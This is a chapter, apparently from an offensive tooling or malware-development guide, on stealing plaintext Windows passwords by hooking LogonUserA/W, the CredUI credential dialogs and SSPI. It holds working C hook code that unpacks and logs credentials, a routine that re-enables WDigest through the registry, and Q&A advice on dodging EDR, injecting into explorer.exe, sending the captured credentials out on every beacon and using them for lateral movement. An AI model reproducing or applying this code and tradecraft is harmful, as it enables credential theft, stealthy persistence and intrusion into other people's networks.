Chapter 82

Credential Hook Techniques

Credential hooking captures plaintext passwords at the exact moment Windows or an application verifies them — without needing Mimikatz on disk, without touching LSASS in ways that trigger EDR, and without needing any elevated privileges for many techniques. The techniques covered here range from hooking LogonUserA to intercepting SSPI authentication functions to monitoring credential providers — each giving plaintext passwords at the moment of authentication.

Windows Authentication Architecture — Where Credentials Flow

Credential flow through Windows authentication stack
  User enters password (GUI, runas, net use, RDP login)
          ↓
  ┌─────────────────────────────────────────────────────────────────────┐
  │ Application layer (user mode)                                       │
  │                                                                     │
  │  LogonUserA/W (advapi32.dll) ← HOOK POINT 1                        │
  │  CredentialDialog (credui.dll) ← HOOK POINT 2                      │
  │  SSPI: AcquireCredentialsHandle → InitializeSecurityContext         │
  │  (secur32.dll) ← HOOK POINT 3                                      │
  │  CredUnPackAuthenticationBuffer (credui.dll) ← HOOK POINT 4        │
  └──────────────────────────┬──────────────────────────────────────────┘
                             ↓
  ┌─────────────────────────────────────────────────────────────────────┐
  │  LSASS (Local Security Authority Subsystem Service)                 │
  │  lsass.exe — handles all authentication in Windows                  │
  │  Stores password hashes, Kerberos tickets, NTLM session keys        │
  │  ← Traditional Mimikatz target (but EDR watches LSASS access)       │
  └─────────────────────────────────────────────────────────────────────┘
  
  Strategy: Hook ABOVE LSASS in user space, where:
    1. Code runs at ring 3 (no kernel required)
    2. EDR doesn't watch as vigilantly as LSASS memory access
    3. We get plaintext passwords before they're hashed
  
  Four hook targets by use case:
  ─────────────────────────────────────────────────────────────────────────
  LogonUserA/W     → captures programmatic logins (runas, service accounts)
  CredUIPrompt*    → captures credential dialog entries (shift+right-click,
                     "Run as administrator," network share prompts)
  SSPI             → captures Kerberos/NTLM negotiation credentials
  WDigest          → if enabled, captures plaintext from LSASS (registry tweak)

Hooking LogonUserA — Capturing Programmatic Logins

/* cred_hook.c — Hook credential APIs to capture plaintext passwords */

#include <windows.h>
#include <stdio.h>

/* ── Hook 1: LogonUserA / LogonUserW ─────────────────────────────── */
/*
 * Many applications call LogonUserA/W to programmatically authenticate
 * as a different user: runas /user:domain\admin cmd, service account
 * logins, scripted admin workflows, backup software, scheduled tasks.
 * The function signature:
 *   BOOL LogonUser(LPCSTR lpszUsername, LPCSTR lpszDomain,
 *                  LPCSTR lpszPassword, DWORD dwLogonType,
 *                  DWORD dwLogonProvider, PHANDLE phToken)
 * lpszPassword is PLAINTEXT — exactly what we want.
 */

typedef BOOL (WINAPI *pfn_LogonUserA)(LPCSTR user, LPCSTR domain, LPCSTR pass,
                                       DWORD type, DWORD prov, PHANDLE tok);
typedef BOOL (WINAPI *pfn_LogonUserW)(LPCWSTR user, LPCWSTR domain, LPCWSTR pass,
                                       DWORD type, DWORD prov, PHANDLE tok);

static pfn_LogonUserA g_orig_LogonUserA = NULL;
static pfn_LogonUserW g_orig_LogonUserW = NULL;

static void log_credential(const char *source, const char *user,
                             const char *domain, const char *pass) {
    SYSTEMTIME st = {0};
    GetLocalTime(&st);
    printf("[CRED HOOK] [%s] %02d:%02d:%02d | %s\\%s : %s\n",
           source, st.wHour, st.wMinute, st.wSecond,
           domain ? domain : ".", user ? user : "?",
           pass ? pass : "(null)");
    /* Queue for exfil via append_result() */
}

static BOOL WINAPI hooked_LogonUserA(LPCSTR user, LPCSTR domain, LPCSTR pass,
                                      DWORD type, DWORD prov, PHANDLE tok) {
    if (user && pass)
        log_credential("LogonUserA", user, domain, pass);
    return g_orig_LogonUserA(user, domain, pass, type, prov, tok);
}

static BOOL WINAPI hooked_LogonUserW(LPCWSTR user, LPCWSTR domain, LPCWSTR pass,
                                      DWORD type, DWORD prov, PHANDLE tok) {
    if (user && pass) {
        char u[256] = {0}, d[256] = {0}, p[256] = {0};
        WideCharToMultiByte(CP_UTF8, 0, user, -1, u, sizeof(u), NULL, NULL);
        if (domain) WideCharToMultiByte(CP_UTF8, 0, domain, -1, d, sizeof(d), NULL, NULL);
        WideCharToMultiByte(CP_UTF8, 0, pass, -1, p, sizeof(p), NULL, NULL);
        log_credential("LogonUserW", u, d, p);
    }
    return g_orig_LogonUserW(user, domain, pass, type, prov, tok);
}

Hooking CredUI — Capturing Credential Dialog Entries

/* ── Hook 2: CredUIPromptForWindowsCredentialsW ──────────────────────── */
/*
 * This is the modern Windows credential dialog ("Enter your credentials"):
 *   [Username: ________________]
 *   [Password: ________________]
 *   [  OK  ] [Cancel]
 * 
 * Applications call CredUIPromptForWindowsCredentialsW to show this dialog.
 * The returned buffer is a packed AUTH_IDENTITY blob that we unpack with
 * CredUnPackAuthenticationBufferW to extract plaintext username + password.
 * 
 * Triggered by: runas "Run as administrator", network share auth prompts,
 *               VPN login dialogs, enterprise software, "Connect to server"
 */

#include <wincred.h>
#pragma comment(lib, "credui.lib")

typedef DWORD (WINAPI *pfn_CredUIPromptW)(
    CREDUI_INFOW *pUiInfo, HWND hwndParent, PCWSTR pszMessageText,
    PCWSTR pszCaptionText, PVOID pvInAuthBuffer, ULONG ulInAuthBufferSize,
    PVOID *ppvOutAuthBuffer, ULONG *pulOutAuthBufferSize,
    BOOL *pfSave, DWORD dwFlags);

static pfn_CredUIPromptW g_orig_CredUIPromptW = NULL;

static DWORD WINAPI hooked_CredUIPromptW(
    CREDUI_INFOW *pUiInfo, HWND hwndParent, PCWSTR pszMessageText,
    PCWSTR pszCaptionText, PVOID pvInAuthBuffer, ULONG ulInAuthBufferSize,
    PVOID *ppvOutAuthBuffer, ULONG *pulOutAuthBufferSize,
    BOOL *pfSave, DWORD dwFlags) {

    /* Call through to show the real dialog */
    DWORD result = g_orig_CredUIPromptW(pUiInfo, hwndParent, pszMessageText,
                                         pszCaptionText, pvInAuthBuffer, ulInAuthBufferSize,
                                         ppvOutAuthBuffer, pulOutAuthBufferSize,
                                         pfSave, dwFlags);
    
    /* If user clicked OK (ERROR_SUCCESS) and we have an output buffer, unpack it */
    if (result == ERROR_SUCCESS && ppvOutAuthBuffer && *ppvOutAuthBuffer) {
        DWORD user_sz = 256, dom_sz = 256, pass_sz = 256;
        WCHAR user[256] = {0}, dom[256] = {0}, pass[256] = {0};
        
        BOOL unpacked = CredUnPackAuthenticationBufferW(
            CRED_PACK_PROTECTED_CREDENTIALS,  /* Buffer format from CredUI */
            *ppvOutAuthBuffer, *pulOutAuthBufferSize,
            user, &user_sz,
            dom, &dom_sz,
            pass, &pass_sz);
        
        if (unpacked) {
            char u[256] = {0}, d[256] = {0}, p[256] = {0};
            WideCharToMultiByte(CP_UTF8, 0, user, -1, u, sizeof(u), NULL, NULL);
            WideCharToMultiByte(CP_UTF8, 0, dom, -1, d, sizeof(d), NULL, NULL);
            WideCharToMultiByte(CP_UTF8, 0, pass, -1, p, sizeof(p), NULL, NULL);
            log_credential("CredUI Dialog", u, d, p);
        }
    }
    return result;
}

/* ── WDigest Reenablement (Requires HKLM write — admin needed) ────────── */
/*
 * Windows 8.1+ disables WDigest authentication by default.
 * WDigest kept plaintext passwords in LSASS memory (Mimikatz's target).
 * Re-enable it:
 */
BOOL reenable_wdigest(void) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
                       "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
                       0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) return FALSE;
    
    DWORD value = 1;
    BOOL ok = (RegSetValueExA(hKey, "UseLogonCredential", 0, REG_DWORD,
                               (BYTE*)&value, sizeof(value)) == ERROR_SUCCESS);
    RegCloseKey(hKey);
    
    if (ok) {
        printf("[+] WDigest reenabled — plaintext passwords will be in LSASS after next login\n");
        printf("    Read with: sekurlsa::wdigest in mimikatz (or custom LSASS read)\n");
    }
    return ok;
}

/* ── Install all credential hooks ─────────────────────────────────────── */
void install_credential_hooks(void) {
    /* Hook LogonUserA and LogonUserW in advapi32.dll */
    HMODULE hAdvApi = GetModuleHandleA("advapi32.dll");
    if (!hAdvApi) hAdvApi = LoadLibraryA("advapi32.dll");
    
    /* (install_hook() from Ch79 pattern) */
    /* install_hook(GetProcAddress(hAdvApi, "LogonUserA"), hooked_LogonUserA, ...) */
    /* install_hook(GetProcAddress(hAdvApi, "LogonUserW"), hooked_LogonUserW, ...) */

    /* Hook CredUIPromptForWindowsCredentialsW in credui.dll */
    HMODULE hCredUI = LoadLibraryA("credui.dll");
    /* install_hook(GetProcAddress(hCredUI, "CredUIPromptForWindowsCredentialsW"),
                    hooked_CredUIPromptW, ...) */

    printf("[+] Credential hooks installed\n");
}

SSPI Hook — Intercepting Kerberos and NTLM Credentials

SSPI authentication flow and hook points
  SSPI (Security Support Provider Interface) is the Windows API for
  Kerberos, NTLM, and other authentication protocols.
  
  Applications that authenticate over the network (net use \\server,
  WinRM, RDP, SMB drive mapping) call SSPI:
  
  AcquireCredentialsHandleW(username, password, ...) → hCredential
       ↓ HOOK HERE: username + password available as arguments
  
  InitializeSecurityContextW(hCredential, ...) → hContext
  AcceptSecurityContext(hContext, ...) → auth token sent to server
  
  The AcquireCredentialsHandleW hook captures credentials whenever an
  application explicitly authenticates with a specific username+password
  (rather than using the current user's session credentials).
  
  Common callers:
    • net use \\server\share /user:domain\user password
    • PowerShell New-PSDrive with credentials
    • Enterprise software authenticating to backend servers
    • RDP reconnection with stored credentials
  ─────────────────────────────────────────────────────────────────────────
  IMPORTANT: Most network auth uses the CURRENT user's Kerberos ticket
  (no password needed at this layer). AcquireCredentialsHandleW with
  explicit credentials is the specific case where a plaintext password
  appears. This hook is most valuable in enterprise environments where
  scripts and automated tools authenticate with service account passwords.

Questions & Answers

Does this require elevated privileges?

LogonUserA/W hooks and CredUI hooks require no elevation — they run entirely in user space (ring 3) in the current user's process. Installing hooks into other processes (so you capture credentials from applications other than your own agent's host process) requires PROCESS_VM_WRITE + PROCESS_VM_OPERATION access to the target, which typically needs SeDebugPrivilege (admin). But if you inject the credential hook DLL at process creation time (as a DLL the process loads at startup — via AppInit_DLLs or process hollowing), the hooks are already in place before any elevation checks. Practically: inject the credential hook into the user's shell process (explorer.exe) or into specific high-value processes (credential manager, domain-joined auth processes) to capture all credentials entered in that session without needing current elevation. WDigest reenablement DOES require admin (HKLM write access). Plan: install userland hooks first (no elevation needed), escalate later if you need WDigest.

How does hooking credential APIs compare to Mimikatz in terms of EDR visibility?

Mimikatz's most watched behavior: OpenProcess(PROCESS_VM_READ, ..., lsass_pid) — EDR products specifically watch for code reading from lsass.exe memory. This is a major behavioral detection signal. Credential API hooks don't touch LSASS at all: they intercept at the API call level before data goes to LSASS. No LSASS memory read = none of the Mimikatz-style detections fire. What does produce signals: (1) Inline hook installation modifies memory of target DLLs — detected by memory integrity scanning. (2) DLL injection into a process (to install hooks there) fires ETW-TI DLL-load events. (3) Writing to HKLM for WDigest requires SePrivilegeEnabled on the relevant privilege, and registry write to SecurityProviders is a known monitored path. Bottom line: credential API hooks are significantly stealthier than Mimikatz-style LSASS access. They're detectable, but require more sophisticated behavioral analysis than simple "process accessed lsass.exe memory" rules.

What happens if the credential hook is installed but the application calls CredUIPromptForCredentialsW (not the Windows version)?

There are two CredUI prompt functions: CredUIPromptForWindowsCredentialsW (the modern Vista+ dialog, returns a packed buffer you decode with CredUnPackAuthenticationBufferW) and the older CredUIPromptForCredentialsW (XP-era, fills username/password buffers directly). You need to hook both. CredUIPromptForCredentialsW's signature provides pointers to character buffers (pszName, pszPassword) that the function fills directly — no unpacking needed. The buffer pointers passed in are already pointing to the destination strings. Hook it, call through, then read the output buffers. Some older enterprise applications still use the older API. Additionally, some applications use CredUIParseUserNameW to parse a UPN (username@domain or domain\username) before calling authentication functions — hooking this reveals the username but not the password (it's just a parser). Focus hooks on the functions that take passwords as arguments: LogonUser*, AcquireCredentialsHandle* with explicit credentials, and both CredUIPrompt* variants.

How do you handle credential hook results across multiple simultaneous authentication events?

The hook callbacks are called from whatever thread initiated the authentication — potentially multiple threads simultaneously. All shared state (the credential log buffer) must be protected by a CRITICAL_SECTION as shown in the code. Beyond thread safety: multiple authentications may happen in rapid succession (a script authenticating to 50 servers). Structure the credential log with timestamps and source process PID so the operator can correlate: "2026-07-09 14:32:15 | LogonUserW | PID=4820 (backup_service.exe) | CORP\backup_svc : P@ssw0rd_July2026!" tells you exactly which service account credential was used, when, from which process. This is immediately actionable for lateral movement. Log file format: one credential per line, tab-delimited: timestamp\tAPI\tPID\tprocess_name\tdomain\tusername\tpassword\tlogin_type. Send this log on every beacon — credential intelligence has a short expiration window (passwords change, tokens expire).

What about applications that use CNG or BCrypt directly for authentication (not SSPI)?

Applications that implement their own authentication (custom protocols, non-Windows auth schemes) don't go through SSPI or LogonUser — they call BCryptHashData, CryptDeriveKey, or similar directly. In these cases, you're not going to capture credentials at the Windows API level. Your options: (1) Form grabbing (Ch79) if it's a web-based or HTTP-based authentication. (2) Keylogger (Ch72) — the user still types the password somewhere. (3) Clipboard monitoring (Ch77) — if they paste from a password manager. (4) Application-specific hooking — identify exactly which function in the application processes the password, and hook that function directly. This requires some reverse engineering of the target application. For the most common enterprise applications (SAP, Oracle, custom ERP systems), the authentication sequences are well-documented and the specific functions to hook are known in the offensive community. The general principle holds: find the last moment in the code path where the password is plaintext and still accessible, and hook there.